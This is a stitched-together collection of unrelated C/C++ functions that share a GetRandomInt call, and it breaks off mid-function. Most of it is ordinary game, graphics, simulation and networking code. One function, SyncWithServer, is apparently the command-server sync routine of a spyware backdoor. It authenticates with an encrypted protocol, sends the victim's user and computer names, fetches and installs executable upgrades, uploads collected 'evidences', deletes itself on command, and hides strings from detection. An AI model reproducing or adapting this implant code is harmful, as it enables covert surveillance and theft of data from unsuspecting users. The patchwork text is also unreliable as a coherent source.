Carton::Carton() { VectorNumere.push_back(GetRandomInt()); while(VectorNumere.size() != 15) { unsigned int nrInt = GetRandomInt(); if(ValidareNumar(nrInt) == true) VectorNumere.push_back(nrInt); else continue; } sort(VectorNumere.begin(),VectorNumere.begin() + 15); }
VOID CoinUpdate() { for (int k = 0; k < 10; k++) { CoinPosition[k][0] -= ScorePerFrame * 4; if (CoinPosition[k][0] + COIN_SIZE * 5 < 0) { int prev = k - 1; if (prev == -1) prev = 9; CoinPosition[k][0] = CoinPosition[prev][0] + GetRandomInt(WNDWIDTH / 3, WNDWIDTH); CoinPosition[k][1] = GetRandomInt(0, WNDHEIGHT - COIN_SIZE * 8); Transform(k, GetRandomInt(0, 25)); } } }
VOID MissileUpdate() { if (m_hero.invincible) return; if (m_missile.active) { if (m_missile.countdown) { m_missile.countdown--; if (!m_missile.countdown) { m_missile = CreateMissile(WNDWIDTH, m_hero.pos.y + 10, 111, 42, TRUE, 0); } else { m_missile.pos.y = m_hero.pos.y + 3; } } else { m_missile.pos.x -= ScorePerFrame * 12; if (m_missile.pos.x + 167 < 0) m_missile.active = false; } } else if (!MissileGenerate && m_hero.alive) { int roll = GetRandomInt(0, LaserRandom); if (roll == 0) { m_missile = CreateMissile(WNDWIDTH - 85, m_hero.pos.y + 3, 64, 56, TRUE, 50); } } }
TM_Frame_t* FrameGenerator::GenerateTMFrame(PCC_Command_Type cmd, TM_Frame_t* pFrame) { if (!pFrame) { pFrame = createTMFrame(); } //Update The TM Frame pFrame->timeStamp = GetRandomInt(); pFrame->bciState = BCI_STANDBY; pFrame->lastCommand = GeneratePCC_Command(); pFrame->lastConfidence = UNSURE; pFrame->processingResult.command = GeneratePCC_Command(); pFrame->processingResult.confidence = UNSURE; GenerateBRSFrame(cmd,&pFrame->brsFrame); /*Leave LED Groups as the Default Groups*/ pFrame->eegConnectionStatus = CONNECTED; pFrame->pccConnectionStatus = CONNECTED; pFrame->brsConnectionStatus = CONNECTED; pFrame->flasherConnectionStatus = CONNECTED; return pFrame; }
/////////////////// // Randomize all the weapons in the current game script void CWpnRest::randomizeVisible(const std::vector<std::string> & weaponList) { for( std::list<wpnrest_t> :: iterator it = m_psWeaponList.begin(); it != m_psWeaponList.end(); it++ ) if( std::find_if( weaponList.begin(), weaponList.end(), findWeaponByName(it->szName) ) != weaponList.end() ) it->nState = GetRandomInt(2); }
void CIPCServer::RemoteListen(quint16 Port) { if(Port != 0) { m_Remote = new QTcpServer(this); if(m_Remote->listen(QHostAddress::Any, Port)) { m_Port = Port; LogLine(LOG_NOTE, tr("Start remote server on port %1").arg(Port)); } else { LogLine(LOG_WARNING, tr("Failed to start remote server on port %1, selecting alternative port").arg(Port)); quint16 tmpPort = Port + GetRandomInt(1, 1000); if(m_Remote->listen(QHostAddress::Any, tmpPort)) { m_Port = tmpPort; LogLine(LOG_WARNING, tr("Started remote server witn temporary port %1").arg(tmpPort)); } else LogLine(LOG_ERROR, tr("Failed to start remote server!")); } connect(m_Remote, SIGNAL(newConnection()), this, SLOT(OnRemoteConnection())); } else m_Remote = NULL; }
//************************************************************************ // CLCDGfx::StartTransition //************************************************************************ void CLCDGfx::StartTransition(ETransitionType eType,LPRECT rect) { if(!m_bInitialized) return; if(rect != NULL) { m_rTransitionRegion.left = rect->left; m_rTransitionRegion.right = rect->right; m_rTransitionRegion.top = rect->top; m_rTransitionRegion.bottom = rect->bottom; } else { SetRect(&m_rTransitionRegion,0,0,m_nWidth,m_nHeight); } if(eType == TRANSITION_RANDOM) m_eTransition = static_cast<ETransitionType>(GetRandomInt(0,2)); else m_eTransition = eType; if(m_bTransition) { EndTransition(); memcpy(m_pBitmapBits,m_pLcdBitmapBits,sizeof(BYTE)*m_nWidth*m_nHeight*m_nBPP); } if(m_pSavedBitmapBits == NULL) m_pSavedBitmapBits = (BYTE*)malloc(sizeof(BYTE)*m_nWidth*m_nHeight*m_nBPP); memcpy(m_pSavedBitmapBits, m_pBitmapBits,sizeof(BYTE)* m_nWidth * m_nHeight * m_nBPP); m_dwTransitionStart = 0; m_bTransition = true; }
/////////////////// // Make an offer to the opponent void Dnr_MakeOffer(int nType, int nMoney) { // HACK: For now we accept all offers // In the future - when we have performance values working - we compare car performance // to accept/reject an offer // Accept the offer char *szAcceptance[] = {"OK", "Lets go!"}; // Do we have enough money? if(nType == rcb_money) { if(cMainGuy->getBankroll() < nMoney) { Dnr_InitSpeechBubble("You ain't got enough dough!"); return; } } int i = GetRandomInt(1); Dnr_InitSpeechBubble(szAcceptance[i]); psDiner->bGoodOffer = true; sRaceInfo.nBetType = nType; sRaceInfo.nBetMoney = nMoney; sRaceInfo.pcOpponent = psDiner->pcCurOpp; }
// Set the player input state based on pathfound int _Bot::GetNextInputState() { int InputState = 0; if(!Map || !Player) return InputState; switch(BotState) { case BotStateType::IDLE: break; case BotStateType::MOVE_HEAL: { return _Object::MOVE_LEFT; } case BotStateType::MOVE_PATH: { if(Path.size() == 0) { BotState = BotStateType::IDLE; return InputState; } // Find current position in list for(auto Iterator = Path.begin(); Iterator != Path.end(); ++Iterator) { glm::ivec2 NodePosition; Map->NodeToPosition(*Iterator, NodePosition); if(Player->Position == NodePosition) { auto NextIterator = std::next(Iterator, 1); if(NextIterator == Path.end()) { Path.clear(); return 0; } // Get next node position Map->NodeToPosition(*NextIterator, NodePosition); // Get direction to next node glm::ivec2 Direction = NodePosition - Player->Position; if(Direction.x < 0) InputState = _Object::MOVE_LEFT; else if(Direction.x > 0) InputState = _Object::MOVE_RIGHT; else if(Direction.y < 0) InputState = _Object::MOVE_UP; else if(Direction.y > 0) InputState = _Object::MOVE_DOWN; break; } } } break; case BotStateType::MOVE_RANDOM: { InputState = 1 << GetRandomInt(0, 3); glm::ivec2 Direction; Player->GetDirectionFromInput(InputState, Direction); if(Map->GetTile(Player->Position + Direction)->Event.Type != _Map::EVENT_NONE) InputState = 0; } break; } return InputState; }
/** * @brief [brief description] * @details [long description] * * @param pPoints [description] * @param numPoints [description] */ void PointSearchTester::GenerateRandomPoints(Point* pPoints, uint32_t numPoints) { float halffloatMaxInv = 2.0f / static_cast<float>(INT_MAX); float halfFloatMax = static_cast<float>(INT_MAX) / 2.0f; // Generate 10 million random points and put them in a tree for(int i = 0; i < numPoints; i++) { pPoints[i].x = (static_cast<float>(GetRandomInt()) - halfFloatMax) * halffloatMaxInv; pPoints[i].y = (static_cast<float>(GetRandomInt()) - halfFloatMax) * halffloatMaxInv; pPoints[i].id = 'r'; pPoints[i].rank = 10; } return; }
PCC_Command_Type FrameGenerator::GeneratePCC_Command() { //Sample Commands, With Highest Chance being PCC_CMD_NONE PCC_Command_Type commands[] = { PCC_FORWARD, PCC_CMD_NONE, PCC_BACKWARD, PCC_CMD_NONE, PCC_RIGHT , PCC_CMD_NONE, PCC_LEFT , PCC_CMD_NONE }; return commands[GetRandomInt() % 8]; }
PWCHAR GetRandomString(ULONG uMin) { PWCHAR pString = (PWCHAR)malloc((uMin + 64) * sizeof(WCHAR)); pString[0] = L'\0'; while(wcslen(pString) < uMin) { WCHAR pSubString[32] = { 0x0, 0x0 }; _itow_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10); wcscat_s(pString, uMin + 64, pSubString); } return pString; }
VOID LaserUpdate() { LaserCurrentFrame++; if (LaserCurrentFrame == LASER_MAX_FRAME) LaserCurrentFrame = 0; for (int i = 0; i < MAX_LASER_NUM; i++) if (m_laser[i].used) { m_laser[i].pos.x -= ScorePerFrame * 4; } if (!LaserGenerate) { bool LaserJudge = TRUE; for (int i = 0; i < 10; i++) { if (!(CoinPosition[i][0] >= WNDWIDTH + COIN_SIZE || CoinPosition[i][0] + COIN_SIZE * 6 <= WNDWIDTH)) { LaserJudge = FALSE; break; } } if (LaserJudge) { int roll = GetRandomInt(0, LaserRandom); if (roll == 0) { LaserAxis++; if (LaserAxis == MAX_LASER_NUM) LaserAxis = 0; int length = GetRandomInt(WNDHEIGHT / 5, WNDHEIGHT / 5 * 3); int position = GetRandomInt(0, WNDHEIGHT - length - 60); m_laser[LaserAxis] = CreateLaser(WNDWIDTH, position, 39, 43, 18, 1, length, !m_hero.invincible); LaserGenerate = 200; } } } }
/////////////////// // Roll in a new opponent void Dnr_RollinOpponent(void) { // Choose a random opponent int num = GetRandomInt( cMainGuy->getNumOpponents()-1 ); psDiner->pcCurOpp = cMainGuy->getOpponentList()+num; psDiner->nOppState = opp_rollingin; psDiner->cOppPosition = CVec(-10,-60,3.5); psDiner->bGoodOffer = false; // Rotate the opponent CMatrix m; m.Rotate(CVec(0,0,1),90); psDiner->pcCurOpp->zeroRotation(); psDiner->pcCurOpp->rotate(m); }
VOID BackgroundUpdate() { int k; for(k = 0; k < MAX_BACKGROUND_NUM; k++) { m_background[k].pos.x -= ScorePerFrame * 4; if (m_background[k].pos.x + m_background[k].size.cx < 0) { m_background[k].pos.x += MAX_BACKGROUND_NUM * BACKGROUND_SIZE_X; int randk = GetRandomInt(0, BACKGROUND_COLOR_NUM - 1); if (!GameStart) randk = 0; m_background[k].hBmp = m_hBackgroundBmp[randk]; } } m_others[2].pos.x -= ScorePerFrame * 4; }
EEG_Frame_t* FrameGenerator::GenerateEEGFrame(EEG_Frame_t* pFrame) { if (!pFrame) { pFrame = createEEGFrame(); } pFrame->eegType = EEG_TYPE_EMOTIV; //We're not going to be ambitious pFrame->counter = GetRandomInt(); //Electrode Data and Contact Quality for (int i = 0; i < MAX_EEG_ELECTRODES; i++) { pFrame->electrodeData[i] = (GetRandomInt()); pFrame->contactQuality[i] = (GetRandomInt() * 500) % 6000; } //The rest of the Crap pFrame->gyroX = GetRandomInt(); pFrame->gyroY = GetRandomInt(); pFrame->batteryPercentage = GetRandomInt(); return pFrame; }
BOOL SyncWithServer() { PBYTE pRandomData, pProtoMessage, pInstanceId, pCryptedBuffer; ULONG uGonnaDie, uGonnaUpdate; BYTE pHashBuffer[20]; BOOL bRetVal = FALSE; uGonnaDie = uGonnaUpdate = 0; memcpy(pServerKey, CLIENT_KEY, 32); memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32); #ifdef _DEBUG_BINPATCH MD5((PBYTE)CLIENT_KEY, 32, pServerKey); MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, pConfKey); #endif pRandomData = (PBYTE)malloc(16); GenerateRandomData(pRandomData, 16); PBYTE pBuffer = (PBYTE)malloc(32); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pRandomData, 16); CalculateSHA1(pHashBuffer, pBuffer, 32); free(pBuffer); pInstanceId = (PBYTE)malloc(20); GetUserUniqueHash(pInstanceId, 20); // proto_v + rand + sha1(conf_key + rand) + bdoor_id(padded) + instance_id + subtype + randpool (FIXME) ULONG uRandPoolLen = GetRandomInt(128, 1024); ULONG uCryptBufferLen = Align(sizeof(ULONG) + 16 + 20 + strlen(BACKDOOR_ID) + 2 + 20 + sizeof(ULONG), 16); ULONG uMessageLen = uCryptBufferLen + uRandPoolLen; pProtoMessage = (PBYTE)malloc(uMessageLen); PBYTE pMessageBuffer = pProtoMessage; // proto version *(PULONG)pMessageBuffer = 0x1; pMessageBuffer += sizeof(ULONG); // kd memcpy(pMessageBuffer, pRandomData, 16); pMessageBuffer += 16; // sha1(conf_key + kd) memcpy(pMessageBuffer, pHashBuffer, 20); pMessageBuffer += 20; // backdoor_id memcpy(pMessageBuffer, BACKDOOR_ID, strlen(BACKDOOR_ID) + 2); pMessageBuffer += strlen(BACKDOOR_ID); memcpy(pMessageBuffer, "\x00\x00", 0x2); // 16 byte padding (id is 14byte fixed len) pMessageBuffer += 0x2; // instance id memcpy(pMessageBuffer, pInstanceId, 20); pMessageBuffer += 20; // subtype pMessageBuffer[0] = 0x0; // ARCH: windows /* determine whether it's a demo scout or not : - cautiously set demo to 0 (i.e. release) - if stars align properly set to demo */ pMessageBuffer[1] = 0x0; // TYPE: release SHA1Context sha; SHA1Reset(&sha); SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1)); if (SHA1Result(&sha)) { /* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */ unsigned nDemoTag[5]; nDemoTag[0] = 1575563797; nDemoTag[1] = 2264195072; nDemoTag[2] = 3570558757; nDemoTag[3] = 2213518012; nDemoTag[4] = 971935466; if( nDemoTag[0] == sha.Message_Digest[0] && nDemoTag[1] == sha.Message_Digest[1] && nDemoTag[2] == sha.Message_Digest[2] && nDemoTag[3] == sha.Message_Digest[3] && nDemoTag[4] == sha.Message_Digest[4] ) { pMessageBuffer[1] = 0x1; } } pMessageBuffer[2] = 0x1; // STAGE: scout pMessageBuffer[3] = 0x0; // FLAG: reserved // encrypt Encrypt(pProtoMessage, uCryptBufferLen, pServerKey, PAD_NOPAD); // append random block GenerateRandomData(pProtoMessage + uCryptBufferLen, uRandPoolLen); // base64 everything PBYTE pBase64Message = (PBYTE)base64_encode(pProtoMessage, uMessageLen); // send request ULONG uResponseLen; ULONG uRet = WinHTTPSendData(pBase64Message, strlen((char *)pBase64Message)); free(pBase64Message); if (!uRet) { free(pRandomData); free(pInstanceId); free(pProtoMessage); #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:234\n"); #endif return FALSE; } // get response PBYTE pHttpResponseBufferB64 = WinHTTPGetResponse(&uResponseLen); if (!pHttpResponseBufferB64) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:244\n"); #endif return FALSE; } // base64 ULONG uOut; PBYTE pProtoResponse = base64_decode((char *)pHttpResponseBufferB64, uResponseLen, (int *)&uOut); free(pHttpResponseBufferB64); if (uOut < sizeof(PROTO_RESPONSE_AUTH)) return FALSE; // FIXME free // decrypt Decrypt(pProtoResponse, uOut, pConfKey); // fill packet PROTO_RESPONSE_AUTH pProtoResponseId; memcpy(&pProtoResponseId, pProtoResponse, sizeof(PROTO_RESPONSE_AUTH)); free(pProtoResponse); // first sha1 pBuffer = (PBYTE)malloc(16 + sizeof(pProtoResponseId.pRandomData) + 16); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData)); memcpy(pBuffer + 16 + sizeof(pProtoResponseId.pRandomData), pRandomData, 16); CalculateSHA1(pHashBuffer, pBuffer, 16 + sizeof(pProtoResponseId.pRandomData) + 16); free(pBuffer); PBYTE pFirstSha1Digest = (PBYTE)malloc(20); memcpy(pFirstSha1Digest, pHashBuffer, 20); // second sha1 pBuffer = (PBYTE)malloc(20 + 16); memcpy(pBuffer, pFirstSha1Digest, 20); memcpy(pBuffer + 20, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData)); CalculateSHA1(pHashBuffer, pBuffer, 20 + sizeof(pProtoResponseId.pRandomData)); free(pBuffer); free(pFirstSha1Digest); if (memcmp(pHashBuffer, pProtoResponseId.pSha1Digest, 20)) { #ifdef _DEBUG OutputDebugString(L"[!!] Ouch SHA1 does not match !!!\n"); #endif return FALSE; } // AUTH DONE \o/ #ifdef _DEBUG OutputDebugString(L"[+] PROTO_AUTH succeded !!\n"); #endif // session key sha1(conf_key + ks + kd) pBuffer = (PBYTE)malloc(48); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pProtoResponseId.pRandomData, 16); memcpy(pBuffer + 16 + 16, pRandomData, 16); CalculateSHA1(pSessionKey, pBuffer, 48); free(pBuffer); if (pProtoResponseId.uProtoCommand != PROTO_OK && pProtoResponseId.uProtoCommand != PROTO_NO && pProtoResponseId.uProtoCommand != PROTO_UNINSTALL) { #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[!!] Invalid PROTO command %08x", pProtoResponseId.uProtoCommand); OutputDebugString(pDebugString); free(pDebugString); #endif return FALSE; } if (pProtoResponseId.uProtoCommand == PROTO_NO) { #ifdef _DEBUG OutputDebugString(L"[!!] Got PROTO_NO\n"); #endif return FALSE; } else if (pProtoResponseId.uProtoCommand == PROTO_UNINSTALL) { #ifdef _DEBUG OutputDebugString(L"[+] Got PROTO_UNINSTALL, I'm gonna die :(\n"); #endif if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer))) free(pCryptedBuffer); WinHTTPClose(); DeleteAndDie(TRUE); } // send ID ULONG uStringLong = 32767 * sizeof(WCHAR); PWCHAR pUserName = (PWCHAR)malloc(uStringLong); PWCHAR pComputerName = (PWCHAR)malloc(uStringLong); WCHAR strUser[] = { L'U', L'S', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' }; WCHAR strComputer[] = { L'C', L'O', L'M', L'P', L'U', L'T', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' }; if (!GetEnvironmentVariable(strUser, pUserName, uStringLong)) pUserName[0] = L'\0'; if (!GetEnvironmentVariable(strComputer, pComputerName, uStringLong)) pComputerName[0] = L'\0'; // Prepare ID buffer ULONG uUserLen, uComputerLen, uSourceLen = 0; PBYTE pUserNamePascal = PascalizeString(pUserName, &uUserLen); PBYTE pComputerNamePascal = PascalizeString(pComputerName, &uComputerLen); PBYTE pSourceIdPascal = PascalizeString(L"", &uSourceLen); free(pUserName); free(pComputerName); ULONG uBuffLen = sizeof(ULONG) + uUserLen + uComputerLen + uSourceLen; pBuffer = (PBYTE)malloc(uBuffLen); *(PULONG)pBuffer = BUILD_VERSION; memcpy(pBuffer + sizeof(ULONG), pUserNamePascal, uUserLen); memcpy(pBuffer + sizeof(ULONG) + uUserLen, pComputerNamePascal, uComputerLen); memcpy(pBuffer + sizeof(ULONG) + uUserLen + uComputerLen, pSourceIdPascal, uSourceLen); free(pUserNamePascal); free(pComputerNamePascal); free(pSourceIdPascal); // Send ID if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_ID, pBuffer, uBuffLen, pSessionKey, &pCryptedBuffer))) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData @ proto.cpp:381\n"); #endif free(pBuffer); return FALSE; } free(pCryptedBuffer); free(pBuffer); // Get reponse PBYTE pHttpResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (!pHttpResponseBuffer || uResponseLen < sizeof(PROTO_RESPONSE_ID)) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:387\n"); #endif if (pHttpResponseBuffer) free(pHttpResponseBuffer); return FALSE; } // decrypt it Decrypt(pHttpResponseBuffer, uResponseLen, pSessionKey); PPROTO_RESPONSE_ID pResponseId = (PPROTO_RESPONSE_ID)pHttpResponseBuffer; #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] Got PROTO_ID PROTO - uProtoCommand: %08x, uMessageLen: %08x, uAvailables: %d\n", pResponseId->uProtoCommand, pResponseId->uMessageLen, pResponseId->uAvailables); OutputDebugString(pDebugString); free(pDebugString); #endif // parse availables if (pResponseId->uAvailables) { PULONG pAvailables = (&pResponseId->uAvailables) + 1; for (ULONG i=0; i<pResponseId->uAvailables; i++) { #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L" - Available %08x\n", pAvailables[i]); OutputDebugString(pDebugString); free(pDebugString); #endif // AVAILABLE STUFF HERE THERE AND EVERYWHERE if (pAvailables[i] == PROTO_UPGRADE) { #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] Got PROTO_UPGRADE, requesting executables\n"); OutputDebugString(pDebugString); free(pDebugString); #endif if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &pCryptedBuffer))) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData FAIL @proto.cpp:435\n"); #endif return FALSE; } free(pCryptedBuffer); PBYTE pHttpUpgradeBuffer = WinHTTPGetResponse(&uResponseLen); if (!pHttpUpgradeBuffer || uResponseLen < sizeof(PROTO_RESPONSE_UPGRADE)) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:433\n"); #endif if (pHttpUpgradeBuffer) free(pHttpUpgradeBuffer); return FALSE; // FIXME FREE } #ifdef _DEBUG OutputDebugString(L"[*] Got Upgrade\n"); #endif Decrypt(pHttpUpgradeBuffer, uResponseLen, pSessionKey); PPROTO_RESPONSE_UPGRADE pProtoUpgrade = (PPROTO_RESPONSE_UPGRADE)pHttpUpgradeBuffer; PWCHAR pUpgradeName = (PWCHAR)malloc(pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR)); if (!pUpgradeName) { #ifdef _DEBUG OutputDebugString(L"[!!] pUpgradeName fail\n"); #endif free(pHttpUpgradeBuffer); return FALSE; // FIXME FREE } SecureZeroMemory(pUpgradeName, pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR)); memcpy(pUpgradeName, &pProtoUpgrade->pUpgradeNameBuffer, pProtoUpgrade->uUpgradeNameLen); #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] PROTO_UPGRADE - uProtoCommand: %08x, uResponseLen: %x, uUpgradeLeft: %d, uUpgradeNameLen: %d, pUpgradeName: %s\n", pProtoUpgrade->uProtoCommand, pProtoUpgrade->uResponseLen, pProtoUpgrade->uUpgradeLeft, pProtoUpgrade->uUpgradeNameLen, pUpgradeName); OutputDebugString(pDebugString); free(pDebugString); #endif ULONG uFileLength = *(PULONG) (((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen); PBYTE pFileBuffer = (PBYTE)(((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG); //if (!wcscmp(pUpgradeName, L"elite")) if (pUpgradeName[0] == L'e' && pUpgradeName[1] == L'l') { if (UpgradeElite(pUpgradeName, pFileBuffer, uFileLength)) uGonnaDie = 1; else { WCHAR pMessage[] = { L'E', L'l', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } //if (!wcscmp(pUpgradeName, L"scout")) if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'c') { if (!UpgradeScout(pUpgradeName, pFileBuffer, uFileLength)) { WCHAR pMessage[] = { L'S', L'c', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'o') { if (!UpgradeSoldier(pUpgradeName, pFileBuffer, uFileLength)) { WCHAR pMessage[] = { L'S', L'o', L'F', L'a', L'i', L'l', L'\0' }; SendInfo(pMessage); } } //if (!wcscmp(pUpgradeName, L"recover")) //if (pUpgradeName[0] == L'r' && pUpgradeName[1] == L'e') //{ // if (!UpgradeRecover(pUpgradeName, pFileBuffer, uFileLength)) // { // WCHAR pMessage[] = { L'R', L'e', L'c', L'F', L'a', L'i', L'l', L'\0' }; // SendInfo(pMessage); // } //} free(pUpgradeName); free(pHttpUpgradeBuffer); } } } free(pHttpResponseBuffer); if (SendEvidences()) bRetVal = TRUE; // send BYE #ifdef _DEBUG OutputDebugString(L"[*] Sending PROTO_BYE\n"); #endif if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer))) free(pCryptedBuffer); #ifdef _DEBUG else OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:499\n"); #endif if (uGonnaDie == 1) { WinHTTPClose(); DeleteAndDie(TRUE); } free(pProtoMessage); free(pInstanceId); free(pRandomData); return bRetVal; }
/////////////////// // Process the opponent stuff void Dnr_ProcessOpponent(void) { char buf[256]; int i; CVec p; switch(psDiner->nOppState) { // Waiting case opp_waiting: if( tMainSR3.fCurTime > psDiner->fOppTimer ) { // Roll in a new opponent Dnr_RollinOpponent(); } break; // Rolling in case opp_rollingin: psDiner->pcLocation->setStatusText(psDiner->pcCurOpp->getDescription(buf)); psDiner->cOppPosition += CVec(20,0,0)*tMainSR3.fDeltaTime; // Spin the tyres for( i=0; i<4; i++ ) { CPart *p = psDiner->pcCurOpp->getCar()->getTire(i); if(p) p->SpinTyre(2); } if( psDiner->cOppPosition.GetX() > 25 ) { psDiner->cOppPosition.SetX(25); // Setup the opponent ready state psDiner->bOppClicked = false; psDiner->nOppState = opp_ready; psDiner->fOppTimer = tMainSR3.fCurTime + 5; } break; // Ready case opp_ready: // Show the car description if( !psDiner->bOppClicked ) psDiner->pcLocation->setStatusText(psDiner->pcCurOpp->getDescription(buf)); // Has the opponent waited long enough for interaction? if( tMainSR3.fCurTime > psDiner->fOppTimer && !psDiner->bOppClicked ) { // Roll out the opponent psDiner->nOppState = opp_rollingout; } // Is the mouse over the car? UnprojectMouse(&p); if( psDiner->pcCurOpp->intersect(psDiner->pcLocation->getCamPos(), p) && !psDiner->bOppClicked ) { psDiner->pcLocation->setStatusText("Challenge opponent"); if( System_GetMouse()->Up & SDL_BUTTON(1) ) { // Challenge the opponent Dnr_ChallengeOpponent(0, 0); } } break; // Rolling out case opp_rollingout: psDiner->cOppPosition += CVec(30,0,0)*tMainSR3.fDeltaTime; // Spin the tyres for( i=0; i<4; i++ ) { CPart *p = psDiner->pcCurOpp->getCar()->getTire(i); if(p) p->SpinTyre(3); } if( psDiner->cOppPosition.GetX() > 70 ) { psDiner->nOppState = opp_waiting; psDiner->fOppTimer = tMainSR3.fCurTime + (float)GetRandomInt(2)+3.0f; } break; } }
//----------------------------------------------------------------------------- //----------------------------------------------------------------------------- float CEnvMeteorSpawnerShared::MeteorThink( float flTime ) { // Check for spawn. if ( flTime < m_flNextSpawnTime ) return m_flNextSpawnTime; while ( m_flNextSpawnTime < flTime ) { // Get a random number of meteors to spawn and spawn them. int nMeteorCount = GetRandomInt( m_nMinSpawnCount, m_nMaxSpawnCount ); for ( int iMeteor = 0; iMeteor < nMeteorCount; iMeteor++ ) { // Increment the number of meteors created (starting with 1). m_nMeteorCount++; // Get a random meteor position. Vector meteorOrigin( GetRandomFloat( m_vecMinBounds.GetX(), m_vecMaxBounds.GetX() ) /* x */, GetRandomFloat( m_vecMinBounds.GetY(), m_vecMaxBounds.GetY() ) /* y */, GetRandomFloat( m_vecMinBounds.GetZ(), m_vecMaxBounds.GetZ() ) /* z */ ); // Calculate the direction of the meteor based on "targets." Vector vecDirection( 0.0f, 0.0f, -1.0f ); if ( m_aTargets.Count() > 0 ) { float flFreq = 1.0f / m_aTargets.Count(); float flFreqAccum = flFreq; int iTarget; for( iTarget = 0; iTarget < m_aTargets.Count(); ++iTarget ) { float flRandom = GetRandomFloat( 0.0f, 1.0f ); if ( flRandom < flFreqAccum ) break; flFreqAccum += flFreq; } // Should ever be here! if ( iTarget == m_aTargets.Count() ) { iTarget--; } // Just set it to the first target for now!!! // NOTE: Will randomly generate from list of targets when more than 1 in // the future. // Move the meteor into the "world." Vector vecPositionInWorld; Vector vecSkyboxOrigin; g_pMapData->Get3DSkyboxOrigin( vecSkyboxOrigin ); vecPositionInWorld = ( meteorOrigin - vecSkyboxOrigin ); vecPositionInWorld *= g_pMapData->Get3DSkyboxScale(); Vector vecTargetPos = m_aTargets[iTarget].m_vecPosition; vecTargetPos.x += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius ); vecTargetPos.y += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius ); vecTargetPos.z += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius ); vecDirection = vecTargetPos - vecPositionInWorld; VectorNormalize( vecDirection ); } // Pass in the randomized position, randomized speed, and start time. m_pFactory->CreateMeteor( m_nMeteorCount, m_iMeteorType, meteorOrigin, vecDirection /* direction */, GetRandomFloat( m_flMinSpeed, m_flMaxSpeed ) /* speed */, m_flNextSpawnTime, m_flMeteorDamageRadius, m_vecTriggerMins, m_vecTriggerMaxs ); } // Set next spawn time. m_flNextSpawnTime += GetRandomFloat( m_flMinSpawnTime, m_flMaxSpawnTime ); } // Return the next spawn time. return ( m_flNextSpawnTime - gpGlobals->curtime ); }
//************************************************************************ // CLCDGfx::StartTransition //************************************************************************ void CLCDGfx::Cache() { DWORD dwStart = GetTickCount(); // Initialize pixels if(m_eTransition == TRANSITION_MORPH) { SLCDPixel *pPixel = NULL; SLCDPixel *pSource = NULL; int iIndex = 0; bool bBreak = false; bool bSearch = true; int iTransitionPixels = 0; POINT pt; for(int j=0;j<2;j++) { iIndex = 0; for(int i=0;i<m_nHeight * m_nWidth;i++) { pt.y = i/m_nWidth; pt.x = i - (i/m_nWidth)*m_nWidth; if((j==0 && !PtInRect(&m_rTransitionRegion,pt)) || (m_pSavedBitmapBits[i] != 0x00 && (j==1 || m_pBitmapBits[i] != 0x00))) { iIndex = i; pPixel = new SLCDPixel(); pPixel->dSpeed = GetRandomDouble()*0.5 + 1; if(!PtInRect(&m_rTransitionRegion,pt)) { pPixel->cValue = m_pBitmapBits[i]; } else { pPixel->cValue = m_pSavedBitmapBits[i]; } pPixel->Start.y = pt.y; pPixel->Start.x = pt.x; pPixel->Position = pPixel->Start; bBreak = false; if(j==1 && bSearch) { // search for a pixel in circles with increasing radius around the location iIndex = findNearestMatch(m_pBitmapBits,i); if(iIndex < 0) { iIndex = i; } else { bBreak = true; } } if(j==0 || bBreak) { pPixel->Destination.y = iIndex/m_nWidth; pPixel->Destination.x = iIndex - (iIndex/m_nWidth)*m_nWidth; 